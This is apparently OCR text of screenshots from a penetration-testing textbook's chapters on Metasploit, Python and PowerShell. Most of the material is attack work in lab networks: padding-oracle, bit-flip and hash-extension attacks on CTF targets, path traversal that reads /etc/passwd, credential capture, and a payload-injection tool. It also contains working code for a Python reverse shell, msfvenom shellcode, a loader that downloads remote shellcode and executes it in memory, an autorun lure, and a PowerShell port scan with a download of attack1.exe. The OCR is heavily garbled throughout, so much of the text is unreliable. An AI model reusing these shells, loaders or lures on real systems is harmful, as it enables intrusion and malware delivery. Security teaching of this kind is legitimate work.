[:; git clone https://github.com/webpwnized/mutillidae.git
Cloning into 'mutillidae’'...
remote: Enumerating objects: 3882, done.
remote: Counting objects: 100% (1001/1001), done.
remote: Compressing objects: 100% (470/470), done.
remote: Total 3882 (delta 512), reused 955 (delta 475), pack-reused 2881
Receiving objects: 100% (3882/3882), 9.79 MiB | 10.91 MiB/s, done.
Resolving deltas: 100% (1394/1394), done.

(root- kali)-[/home/kali]
[:; mv /home/kali/mutillidae/* /opt/lampp/htdocs




GNU nano 5.4 /opt/lampp/htdocs/includes/database-config.inc *
<?php
define('DB HOST', '127.0.0.1');
define('DB_USERNAME', 'root');
define('DB PASSWORD', 'H);
define('DB NAME', 'mutillidae');
define('DB PORT', 3306);

7>

[:~(rootn-kali)-[/home/kali]

# /opt/lampp/lampp start
Starting XAMPP for Linux 7.3.30-0...
XAMPP: Starting Apache...already running.
XAMPP: Starting MySQL...ok.
XAMPP: Starting ProFTPD...ok.

[:—(ioot-akali)-[/home/kali]
#

& C @ © f privilege-level.php&iv=0bc24fc1ab650b25b4114e93a98fleba ==+ & vy N O @

o\ Kali Linux ¥ Kali Training 3 Kali Tools ¥ Kali Forums « KaliDocs & NetHunter Offensive Security MSFU

@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.59 Security Level: 1 (Client-Side Security) Hints: Disabled (0 - | try harder)
Not Logged In

Home | Login/Register | Toggle Security | Drop TLS | Reset DB | View Log | View Captured Data

owase201z | View User Privilege Level J

OWASP 2013  »
OWASP 2010 » Back g Help Me!

OWASP 2007 >

Web Services [ User Privilege Level ]
Others Application ID '1B2
i User ID 174 ( Hint: 0X31 0X37 0X34 )
Group ID 235 ( Hint: 0X32 0X33 0X35)

Documentation »



< C ® © #a privilege-level.php&iv=45c24fclab650b25b4114e93a98fleba =« & ¥y N @O ®

o Kali Linux X Kali Training X Kali Tools ¥ Kali Forums <« Kali Docs e\ NetHunter Offensive Security MSFU

@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.59 Security Level: 1 (Client-Side Security) Hints: Disabled (0 - | try harder)
Not Logged In

Home | Login/Register | Toggle Security | Drop TLS | Reset DB | View Log | View Captured Data

CURERROW N View User Privilege Level J

OWASP 2013  »
OWASP 2010  » <:§ Back Q Help Me!

OWASP 2007 4

Web Services  » [ User Privilege Level ]
Application ID 0lB2
Labs > User ID 174 ( Hint: 0X31 0X37 0X34)
Group ID 235 ( Hint: 0X32 0X33 0X35)

Documentation »

20 renders "7" b@ renders "7" 10 renders "4"
21 renders "6 bl renders "6" 11 renders "5"
22 renders "5" b2 renders "5" 12 renders "6"
23 renders "4" b3 renders "4" 13 renders "7"
24 renders "3" b4 renders "3" 14 renders "0"
25 renders "2" b5 renders "2" 15 renders "1"
26 renders "1" b6 renders "1" 16 renders "2"
27 renders "0" b7 renders "0" 17 renders "3"
28 renders "?" b8 renders "?" 18 renders "<"

29 renders ">" b9 renders ">" 19 renders "=



6b c2 4f c1 ab 65 @b 25 b4 11 4e 93 a9 8f le ba | IV

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 | Byte position

@5 ©6 07 | IV byte position
User ID X X X |
GroupID X X X |
08 ©9 10 | IV byte position
l

Position 5 XOR: 1010
Position 6 XOR: 0010
Position 7 XOR: 1111 =
Position 8 XOR: 0111 =
Position 9 XOR: 0111
Position 10 XOR: 0100

PN AN

& C @ © #a -privilege-level.php&iv=6bc24fclaab20f27b7144e93a98fleba = © vy I @ ®

« Kali Linux N Kali Training 3 Kali Tools N Kali Forums « Kali Docs &\ NetHunter Offensive Security MSFU

®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.59 Security Level: 1 (Client-Side Security) Hints: Disabled (0 - | try harder)
Not Logged In

Home | Login/Register | Toggle Security | Drop TLS | Reset DB | View Log | View Captured Data

owase 2017 - I View User Privilege Level )

OWASP 2013  »
OWASP 2010  » Back g Help Me!
e -
OWASP 2007 > | ——— e e :
‘ User is root!

Web Services

[ User Privilege Level ]
ab Application ID Al1B2
N User ID 000 ( Hint: 0X30 0X30 0X30 )
Group ID 000 ( Hint: 0X30 0X30 0X30)

!
17
v v

v

Resources



?,

512 bits 512 bits

secret + message message + padding

~ >

compression
$ function

160-bit I compression
B — finEticR

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type
determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: [7Pitchfork .v]

GET A
/ctf/challengeS/index.php?algo=shal&file=§test§&hash=5dd03bd22af3a4a0253a66621 iy
b(b89631556b100e§| HTTP/1.1

Host: 192.168.108.106

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101

Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;0=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer:
http://192.168.108.106/ctf/challenge5/index.php?algo=shal&file=test&hash=dd03b
d22af3a4a0253a66621bch80631556b100e

Connection: close

Upgrade-Insecure-Requests: 1

v

[ ? J l = J et J LTJ | Type a search term 0 matches

2 payload positions Length: 528

Start attack

e
[—JTM
;Jm
L—W‘

Clear




[Target T Positions T&QQ&%T Options ]

2| Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type
defined in the Positions tab. Various payload types are available for each payload set, and each
payload type can be customized in different ways.
Payload set: L2 M Payload count: 44
Payload type: LSimpIe list @ Request count: 43

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste test%80%00%00%00%00%00%00%00%00%00%... | &
test%80%00%00%00%00%00%00%00%00%00%. ..

[ Load .. | | test%B0%00%00%00%00%00%00%00%00%00%...
test%80%00%00%00%00%00%00%00%00%00%. .

[W test%80%00%00%00%00%00%00%00%00%00%... | |,
test%80%00%00%00%00%00%00%00%00%00%. .

" Clear | | test%B0%00%00%00%00%00%00%00%00%00%. . |

(—cienr-) test%80%00%00%00%00%00%00%00%00%00%. .
test%80%00%00%00%00%00%00%00%00%00%... %

test?ARN%NN%NNS%ANN%ANNSANNY%ANNSANNSANNSANN%A

| Add | Enter a new item




Intruder attack 2 e ® 0

Attack Save Columns

M Target T Positions T Payloads TOptions ]

| Filter: Showing all items | ?
Request AI Payloadl l Payload2 Status | Error | Timeout | Length | C
25 test%80%00%00%00%00%00%... 5f356149dfad913f837hafd7e24... 404 (@] 1516 A
26 test%80%00%00%00%00%00%... 5f356149dfad913f837b4afd7e24... 404 (@] (@] 1516
27 test%80%00%00%00%00%00% 5f356149dfad913f837bafd7e24 ] ] ’
28 test%80%00%00%00%00%00%... 5f356149dfad913f837b4fd7e24... 404 (@] @] 1516 4
25 test%80%00%00%00%00%00%... 5f356149dfad913f837b4fd7e24... 404 1®] g 1516 ¥
PAN T

M Headers THex ]

HTTP/1.1 200 OK A

Date: Sat, 05 May 2018 19:29:27 GMT

Server: Apache/2.4.33 (Unix) OpenSSL/1.0.2n PHP/5.6.35 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.35
Content-Length: 1504

Connection: close

Content-Type: text/html; charset=UTF-8

<br />

<b>Warning</b>: : failed to open stream

: No such file or directory in

<b=/opt/lampp/htdocs/ctf/challenge5/index.php</b> on line <h=38</b=<br />

<html>
<head>

R v

- i P T . . . . . 0

-
v

? l < ' + H > preasearch term

_‘ 0 matches

Finished [ ————————e



,cryptOMG - Challenge 5 :: test @ Q@ QOO OOV OOV OOV OVVOV0O. © @ ol
) [ CryptOMG - Challeng... x | +

€ O |flef5384e7502bcde8b8690bF6782 v EI | & || Q, Search B » =

fij Most Visited v Jll Offensive Security N Kali Linux & Kali Docs & Kali Tools # Exploit-DB »

;—“—_ test€O0../../..[..[..]..[..]..
T /..Jetc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbhin:/usr/shin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:X:5:60:games:/usr/games:/usr/shin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/shin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/shin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/shin
/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin s



< - C @ O DO 127.0.0.1/ctf/

Kali Linux #& KaliTools ¢« KaliDocs XN Kali Forums

e Home
e Links

e Pictures File n0t found

e Test

C @ O O 127.0.0.1/ctf/challengel/index.php?cipher

KaliLinux & KaliTools « KaliDocs N KaliForums e\ Kali NetHunter #% Exploit-DB

Cipher: { rijndael-128 v | En

ricres  S€Trver 500: Padding Error




+ +
| PadBuster - v©0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
- -

INFO: The original request returned the following
[+] Status: 200

[+] Location: N/A

[+] Content Length: 2164

INFO: Starting PadBuster Decrypt Mode
*%x Starting Block 1 of 2 #%x

INFO: No error string was provided... starting response analysis
**%x Response Analysis Complete *%*

The following response signatures were returned:

ID# Freq Status Length Location
1 1 L4 2164 N/A
2 K% 255 500 2186 N/A

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

|

Continuing test with selection 2

*%* Finished *%*

[+] Decrypted value (ASCII): '1FA5\\C84VQE_T|./files/test

I

[+] Decrypted value (HEX): 276C4641355C5C4338345651455F547C2E2F66696C65732F746573
7404040404

[+] Decrypted value (Base64): J2xGQTVCXEMLNFZRRVOUFCLvVZmlsSZXMvdGVzdAQEBAQ=




%% Finished #*x

[+] Encrypted value is: 757eae444a602b5db385da56e02dfdb1254c7a76bd1d5eabe70557394
602a1e5f62886¢c421d8845166ad6af25248d55a780cdf6fffodafc743¢c00a0c5b5450b30000000000
0000000000000000000000

O O 127.0.0.1/ctf/challengel/index.php?cipher=3&encoding=28&c=757eae444a602b5db385da56e02

Tools « KaliDocs X Kali Forums o\ Kali NetHunter < Exploit-DB Google Hacking DB OffSec

Cipher: | rijndael-128 v | Encoding: | lower hex v || save |

Passwd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/shin/nologin
man:x:6:12:man:/var/cache/man:/usr/shin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbhin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbhin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin




Chapter 7: Advanced Exploitation with Metasploit

@® You got pwned bro!

OK

Choose Operation Mode

PE Target:

Shell7er

- Auto/Manual (A/M/H): A




Shell7er
* First Stage Filtering *

b b b b o

Filtering Time Approx: ©.00167 mins.

Enable Stealth Mode? (Y/N/H): Y

XX AR R R RN

* Payloads *
XXX

[1] Meterpreter_Reverse_TCP  [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[2] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[6] Shell_Reverse_TCP [stager]
[6] Shell Bind_TCP [stager]
[7] wWinExec

Use a listed payload or custom? (L/C/H): L

Select payload by index: 1

") CDPlayer X




msf6 > use auxiliary/server/our_basic HTTP
msf6 auxiliary(server/our_basic_HTTP) > show options

Module options (auxiliary/server/our_basic HTTP):

Name Current Setting Required Description

REALM Secure Site yes Authentication realm attribute to use.

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

redirURL no Redirect destination after sending credentials.

msf6 auxiliary(server/our_basic_HTTP) > set URIPATH login

URIPATH => login

msf6 auxiliary(server/our_basic_HTTP) > set redirURL https://www.google.com/
redirURL => https://www.google.com/

msf6 auxiliary(server/our_basic_HTTP) > exploit

[*] Listening for connections on 0.0.0.0:8080...

[*] Using URL: http://0.0.0.0:8080/1login

[*] Local IP: http://192.168.249.136:8080/1login

[*] Server started.

[*] We have a hit! Sending code 401 to client 192.168.249.140 now...
+] 192.168.249.140 - Login captured! "Phil:H@cked4Sure!"

*] Redirecting client 192.168.249.140 to https://www.google.com/

Start Metasploit? (%]

A Metasploit RPC server is not running or
not accepting connections yet. Would you
like me to start Metasploit's RPC server

for you?

[ No J Yes




Armitage © o 0

Armitage View Hosts Attacks Workspaces Help
> (&5 auxiliary
> (& exploit

> (& payload

» (& post

92.168.108.77 192.168.108.99 192.168.108.25 192.168.108.36 192.168.108.30 192.168.108.65 192.168.108.

Network Distance: 1 hop

Nmap scan report for 192.168.108.106

Host is up (0.000021s latency).

Not shown: 99 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.7pl Debian 2 (protocol 2.0)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S detail Linux 3.8 - 4.14

Network Distance: 0 hops

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 256 IP addresses (19 hosts up) scanned in 97.56 seconds

Armitage e ® O
Armitage View Hosts Attacks Workspaces Help
> (& auxiliary | Address 4| Label | Description Pivot
> (&5 exploit J 192.168.108.1 A
> (& payload > 192.168.108.12
> [ post 192.168.108.15

192.168.108.25
192.168.108.30
192.168.108.36
192.168.108.38
192.168.108.42
192.168.108.48

gaEaaEaun

Gl 192.168.108.65

BA 192.168.108.76 > |

B 192.168.108.77 Login > *h proftp_sreplace

P 192.168.108.87 S ttp > | proftp_telnet_iac

L .168.108. ervices misc > A e

MM 192.168.108.89 sScan e N [RrotpdEl 35 backaooy

= roftpd_modcopy_exec
g 192.168.108.9 Host postgres ~ proftpd_t PY._ S
— : pureftpd_bash_env_exec
realserver >
= vsftpd_234_backdoor
nmap X | Services X [ Services X e
[ P T I ] samba > wuftpd_site_exec_format
smt| > i

host name pol A p > | check exploits. info
192.168.108.65 ftp 27ks3 — vsftpd 2.3.4 A
192.168.108.65 ssh 22| telnet > tep OpenSSH 4.7p1 Debian 8ubuntul protocol 2.0
192.168.108.65 telnet 23[Rvac > tep Linux telnetd
192.168.108.65 smtp 25| webapp > tep Postfix smtpd
192.168.108.65 domain 53| wyse > tep ISC BIND 9.4.2
192.168.108.65 http 80| x11 »> tep Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.108.65 rpcbind 11 tep
192.168.108.65 netbios-ssn 139 tep Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.108.65 netbios-ssn 445 tep Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.108.65 login 513 tep
192.168.108.65 tcpwrapped 514 tep

Refresh Copy



Armitage @ 0 Q‘

Armitage View Hosts Attacks Workspaces Help

v (&5 exploit
v (& linux
v (& local

|1 abrt_raceabrt_priv_esc
| ] apport_abrt_chroot_priv_esc
L1 bpf_priv_esc
[™1 cron_persistence 2 : :
;_‘ desktop_privilege_escalation 108.25 192.168.108.36 192.168.108.30 192.168.168.65
[ docker_daemon_privilege_escalation
|1 glibc_Id_audit_dso_load_priv_esc
("1 glibc_origin_expansion_priv_esc

«

[ nmap X T Services X T Services X T exploit X T Pass Session X Tshell 2 X ]

$ whoami
root

Enable Stealth Mode? (Y/N/H): Y
P b g b I

* Payloads *
P b b b g S I

[1] Meterpreter_Reverse_TCP [stager]

[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] wWinExec

a listed payload or custom? (L/C/H): C
Select Payload: /root/message

Is this payload a reflective DLL loader? (Y/N/H): N




Scan Filter

all/part of the name

(D 17 security vendors flagged this file as malicious

022d32e67109bc47b0eaabe?4425c675f5aa29eb1624e971c445dbe521e01a%a

DataRecovery.EXE
?
peexe

X Community wd
Score



GNU nano 2.9.5 autorun.inf Modified

[autorun]
open=DataRecovery.exe
icon=DataRecovery.exe,0

¢ Get Help @V Write Out @l Where Is @ Cut Text @8] Justify
gi Read File g\ Replace @l Uncut Textgl To Spell

README. txt @ ® ©

File Edit Search Options Help
DataRecovery has automatically detected recently

deleted files on this drive. Please run
"DataRecovery.exe" to begin the restoration process.



Chapter 8: Python Fundamentals

[j—{rootn-kali)-[/home/kali]
#

python3

Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux

Type "help", "copyright", "credits" or "license" for more information.
>>> print("Hello, world!")

Hello, world!

>>> 3*%50+100/20%(14/15)

154.66666666666666

>>> int(3*50+100/20%*(14/15))

154

>>> ||

E oAl @ F BsER o PR P EERY X 2 ERXRRER T EE

VIM - Vi IMproved

version 8.2.2434
by Bram Moolenaar et al.

Modified by team+vim@tracker.debian.org
Vim is open source and freely distributable

type

type
type
type

Help poor children in Uganda!

:help iccf<Enter> for information

:q<Enter> to exit
:help<Enter> or <F1> for on-line help
:help version8<Enter>  for version info

0,0-1

All



—(root- kali)-[/home/kali]
—# python3 hello world.py
Hello, World!

—(root - kali)-[/home/kali]
— |

#!/usr/bin/python3

import socket

webhost = '192.168.108.229'

webport = 80

print(*['Contacting', webhost, 'on port', webport, '...'])
webclient = socket. socket(socket AF _INET, socket.SOCK STREAM)
webclient.connect( (webhost, webport))

webclient.send(b'GET / HTTP/1.1\r\nHost: 192.168.108.229\r\n\r\n")
reply = webclient.recv(4096)

print('Response from', webhost, ':')

print(reply)

#!/usr/bin/python3

import socket

import threading

host ip = '0.0.0.0'

host port = 45679

server = socket.socket(socket.AF_INET, socket.SOCK STREAM)

server.bind((host ip, host port))

server.listen(4)

print("Server is up. Listening on %s:%d" % (host ip, host port))

def connect(client socket):
received = client socket.recv(1024)
print("Received from remote client:\n----------- AN%S\N------nennn \n" % received)
client_socket.send(b"Always listening, comrade!\n\r")
print("Comrade message sent. Closing connection.")
client_socket.close()
print("\nListening on %s:%d\n" % (host_ip, host port))

while True:
client, address = server.accept()
print("Connection accepted from remote host %s:%d" % (address[0], address[1]))
client handler = threading.Thread(target=connect, args=(client,))
client_handler.start()



(roote kali)-[/home/kali]
[:; python3 serverpython.py
Server is up. Listening on 0.0.0.0:45678
Connection accepted from remote host 192.168.108.229:39016
Received from remote client:

Comrade message sent. Closing connection.
Listening on 0.0.0.0:45678

Connection accepted from remote host 192.168.108.229:39018
Received from remote client:

Comrade message sent. Closing connection.

Listening on 0.0.0.0:45678

#!/usr/bin/python3

import socket

import subprocess

import os

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 45678))
0s.dup2(sock.fileno(),0)

0s.dup2(sock.fileno(),1)

0s.dup2(sock.fileno(),2)

proc = subprocess.call(["/bin/sh", "-1i"])



—(root- kali)-[/home/kali]
—# nc -1 -p 45678

# whoaml

root

#1

(root- kali)-[/home/kali]
[:; msfvenom --payload windows/shell_bind_tcp --bad-chars "\x00' -f raw > shellcode.raw
[-]1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata ga nai succeeded with size 355 (iteration=0)
x86/shikata_ga nai chosen with final size 355
Payload size: 355 bytes

[:—{rootn-kali)-[/home/kali]
# basebd -i shellcode.raw > backdoor.bin

(root- kali)-[/home/kali]
[:; more backdoor.hin

udvgRyzbyd10JPRaM8mxUzFaEgNaEo0J7qXZ8QerIgnYzKvs6czIZVnOmytWdsnf7frGOEawMNOX
6QF+1PBVoOU6gKEiJkHz+yz044h5xYjDbE1tk498IK/IXsN8Yt fbYU+hUFE7TMLCrxJ/9AzTh0qg0o
1DLXVa+BpYEGEQ1BnP2vhnt202MPOKBY3Gvc/+07VLVHHzZWTfaQaYzpZYQ64yE267Tn7nCGOAIwWDHO
88WJIrpt1QWLciXjN8nSDLtuy135zE1lgVg5uNgIs6frd2/C532IUkeAeFR1IgLrtdX/MyuzUbExOh
2UCsViGjhPBqpRP/auMz1+Dgh4b2LKDfYbohkhC7a0SwLvCUv1Kvw+i1poEEnXC31H1lacw06ZXrG
hkFsHgb02M5RmLaoC2pgY+ck5PLLONL7AYGaSvzUpWNoOd6ZCB41GjhVFwvRMMIJIVMISTh1Ayy4+

WL4ret5TRhOLU/UUng==

#!/usr/bin/python3

from urllib.request import urlopen

import ctypes

import base64

pullhttp = urlopen("http://192.168.108.211:8000/backdoor.bin")

shellcode = base64.b64decode(pullhttp.read())

codemem buff = ctypes.create string buffer(shellcode, len(shellcode))
exploit_func = ctypes.cast(codemem_buff, ctypes.CFUNCTYPE (ctypes.c_void p))
exploit_func()



(root- kali)-[/home/kali]
g python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
i92.168.1@8.245 - - [31/Dec/2021 10:59:27] "GET /backdoor.bin HTTP/1.1" 200 -

l_—#{root « kali)-[/home/kali]
1s

arpMITMresults.pcap Desktop Downloads Pictures Templates
arp poison.py Documents Music Public Videos



Chapter 9: PowerShell Fundamentals

PS C:\Users\designadmin> ipconfig

indows IP Configuratien

Ethernet adapter Bluetooth Network Connection:

Media State . . . 5

: Media disconnected
Connectlon—spe01f1c DNS Sufflx 4 8

Ethernet adapter Local Area Connection:
Connection—specific DNS Suffix .
Link-lecal IPv6 fiddress . . . & fe8B::ccPl-ae1?:2¢15:382e%11

IPv4 fiddress. . . . . . . s %B.B.B 114

Subnet Mask . . . . - . - . . 55.255.255 .0
Default Gateway . . . . . . . 10.8.6.1

Tunnel adapter isatap.{33AA%636-2FE5-4331-9E1C-85CHA8SFS5E2FA> -

Media State . . . . & & 8
Connection—specific DNS Suffix . =

Tunnel adapter isatap.{99F81D2E-6C74-4D65-B?5B-50DD4BAFAF3B> :

Media disconnected

Media State . . . - - = Media disconnected

Connectlon*spec1flc DNS Suffix .
PS C:\Users\designadmin>

PS C:\Users\designadmin\Links> dir
Directory: C:\Users\designadmin\Links

LastUWriteT ime

?/5,2818 12:10 AM Desktop.lnk
?/5,2618 12:18 AM Downloads . 1lnk
?/5,2618 12:18 AM RecentPlaces.1lnk

PS C:\Users\designadmin\Links> ls
Directory: C:\Users\designadmin\Links

ode LastUWriteT ime Length

a=—— ?/5,2618 12:18 AM Desktop. lnk

A=—— ?2/5,2818 12:18 AM 862 Downloads.lnk
a——-— ?/5,2018 12:160 AM 363 RecentPlaces.lnk




PS C:\Users\designadmin> Get—Help
TOPIC
Get—Help

SHORT DESCRIPTION
Displays help about Windows PowerShell cmdlets and concepts.

S C:\Users\designadmin> Get—Help Get
Category Synopsis

et—Uerh Function Get—-Uerb [[-verb] <Stringl[l1>]1 [-Uerbosel [-Debugl [-ErrorfAction <{ActionP...
et—WinEvent Cmdlet Gets events from event logs and event tracing log files on local and rem.
et—Counter Cmdlet Gets performance counter data from local and remote computers.
et—HSManCredSSP Cmdlet Gets the Credential Security Service Provider-related configuration for
et—lWSManInstance Cmdlet Displays management information for a resource instance specified by a R
et—Command Cmdlet Gets basic information abhout cmdlets and other elements of HWindows Power...
et—Help Cmdlet Displays information about Windows PowerShell commands and concepts.
et—History Cmdlet Gets a list of the commands entered during the current session.
et—PSSessionConfiguration Cmdlet Gets the registered session configurations on the computer.
et—PSSession Cmdlet Gets the Windows PowerShell sessions (PSSessions) in the current session.
Cmdlet Gets Windows PowerShell hackground jobhs that are running in the current ...
Cmdlet Gets the modules that have heen imported or that can he imported into th...
Cmdlet Gets the Windows PowerShell snap—ins on the computer.
Cmdlet Gets the formatting data in the current session.
Cmdlet Gets the events in the event queue.
Cmdlet Gets the event subscribers in the current session.

[PS C:\Users\designadmin\Links)> S$FormatEnumerationLimit = —1
IPS C:\Users\designadmin\Links> Get—ItemProperty —Path registry::hklm\software\TightUNC\Server —Name ControlPassword

[IPSPath Microsoft.PowerShell.Core\Registry: :hklm\sof tware\TightUNC\Server
[PSParentPath Microsoft.PowerShell.Core\Registry: :hklm\sof tuare\TightUNC
[PSChildName Server

[PSProvider Microsoft.PowerShell.Core\Registry

IControlPassuord {139. 16. 57. 246, 188, 35, 53, 209>

PS C:\Users\designadmin\Links> $password = 139, 16, 57, 246, 188, 35, 53, 209
PS C:\Users\designadmin\Links> foreach ($hex in $password) <

;i [Convertl::ToString<(Shex, 16> >

8h




File Edit View Debug Help
NeEd4zON 90 b8 = 8|Blo0,

| Untitledlps1* X | )
3}
4
5§ if ( -not ( Test-Path S$filel ) ) { Bl
6 Show-Help “File ""Sfilel'" not found" \
7 3 \
g =
9 if ( -not ( Test-Path S$file2 ) ) { |
10 Show-Help "File '"Sfile2'" not found" 1
11 3 ‘
12
43 if ( ( $filel -eq $file2 ) -or ( $filel -eq "" ) -or ( $file2 -eq "" ) ) {
14 Show-Help
95 3
16

17 Compare-Object $( Get-Content S$filel ) S( Get-Content $file2 ) -IncludeEqual:sAll

Mode LastWriteTime Length Name

d-r-- 7/8/2018 10:20 PM Contacts

d-r-- 7/8/2018 11:25 PM Desktop

d-r-- 7/8/2018 10:20 PM Documents

d-r-- 7/8/2018 11:22 PV Downloads

d-r-- 7/8/2018 10:20 PM™ Favorites

d-r-- 7/8/2018 10:20 P™ Links

d-r-- 7/8/2018 10:20 PM Music

d-r-- 7/8/2018 10:20 PM Pictures

d-r-- 7/8/2018 10:20 PV Saved Games =
d-r-- 7/8/2018 10:20 PM Searches

d-r-- 7/8/2018 10:20 PV Videos L
PS C:\Users\TestAdmin> @®

> Get-ChildItem

In1Col1d | (o 12

PS C:\windous\temp> 1..255 | % <{echo "192.168.63.%5_"; ping —n 1 —uw 1088 192.168.63.5_ | Select-String ttl>
192.168.63.1

?eply from 192.168.63.1: bytes=32 time<ims TTL=128

92.168.63.2
Reply from 192.168.63.2: bytes=32 time<{ims TTL=128
192.168.63.3
192.168.63.4
192.168.63.5




PS C:\windows\temp> 143..147 | % {echo "192.168.63.5_"; ping —n 1 —w 108 192.168.63.5_ | Select—String ttl>
192.168.63.143

Reply from 192.168.63.143: bytes=32 time<ims TTL=64
192.168.63.144

-145

132.168.63.145: bytes=32 time<{ims TTL=128
-133.168.63.146= bytes=32 time<{ims TTL=128
192.168.63.147: bytes=32 time<ims TTL=128

P§ g;;wiggows\temp> 1..10824 | z {echo (C(new—ohject Net.Sockets.TcpClient).Connect("192.168.63.14?", $_))> “Open port — $
e nu

Open port — 135

Open port — 139

PS C:\Users\TestAdmin> (New-Object System.Net.lWebClient).DownloadFile("http://192.168.63.143/attackl.exe"’,. “c:\windous\t
emp\attackl.exe')

PS C:\Users\TestAdmin> cd c:\uwindows\temp

PS C:\windous\temp> ls

Directory: C:\windouws\temp

Mode LastWriteTime Length

?/8,2018 H vnuare—SYSTEM
/972818 attackl.exe
?/9/2818 @ DMICD5C.tmp
/99,2018 MpCmdRun. log
/972018 TS_2D86 . tmp
?/9/2818 TS_2E42.tmp
?2/9/2818 TS_2EAl.tmp
?/9/2018 TS_2F5D.tmp
?/9/2818 TS_3867.tmp
?2/9/2818 TS_31BF.tmp
TS_320E.tmp
TS_3328.tmp
TS_3396.tmp
vmware—vmsvc . log
vnware—vnusr. log
vnuware—vnuss . log

2/9,2018
?/9,2018
2/9,2018
?/9/2018
2/9/2018
?/9,2018

b kb b b ok o ek ek ek b b ok ek

L_{ root- kali)-[/home/kali]
# msfvenom -a x86 --platform Windows -p windows/shell/bind tcp -f exe -0 sneaky.exe
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of exe file: 73802 bytes
Saved as: sneaky.exe

’:-{ root- kali)-[/home/kali]
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

“ b64Compress.txt - Notepad

File Edit Format View Help

HASIQAMAME&O}!SEVRWBcw-FhICXCCQqAFSRaXOLVchaunﬂHDoﬂ.QTI‘-DAEZNball
J+pb4gf91kI/pnsIkGr8wQ0dxao0IFVIODYOwWOPVHImIcYauotGeIkIh©/Q31NcN/
OrBjY9Ags517MOvShxw8xkrq96HFF2gUHSm3wTAAG68Tpud/agS8HjYUafSBIQMv1h
j2CopklP/eZlIacltoSz89B7W+KqboCoQxvExswB3CI+x/7P0BkQ/sD87ngP1MRhz1Q
CuIpRH1/fdV14mYh7YAJ2q/q+FjVR0o0J18x+S1Y8F6MBK1QshK2QXLouKxQaBFFdS5



Delivery Status Notification (Failure) =~ =

Mail Delivery Subsystem <mailer-daemon@googlemail.com>
tome ~

Message may contain a virus

(root« kali)-[/home/Kali]
l—_# apt update && apt install powershell-empire

[Starkiller] Multi-User GUI | [Web] https://github.com/BC-SECURITY/Starkiller

This build was released exclusively for Kali Linux | https://kali.org

396 modules currently loaded
0 listeners currently active
0 agents currently active

[*] Connected to localhost
(Empire) > |

Connected: agent(s) unread message(s)



(Empire) > help

rHelp Options

Name Description Usage

admin View admin menu admin

agents View all agents. agents

connect Connect to empire instance connect [--config | -c] <host>
[--port=<p>] [--socketport=<sp>]
[--username=<u>] [--password=<pw>]
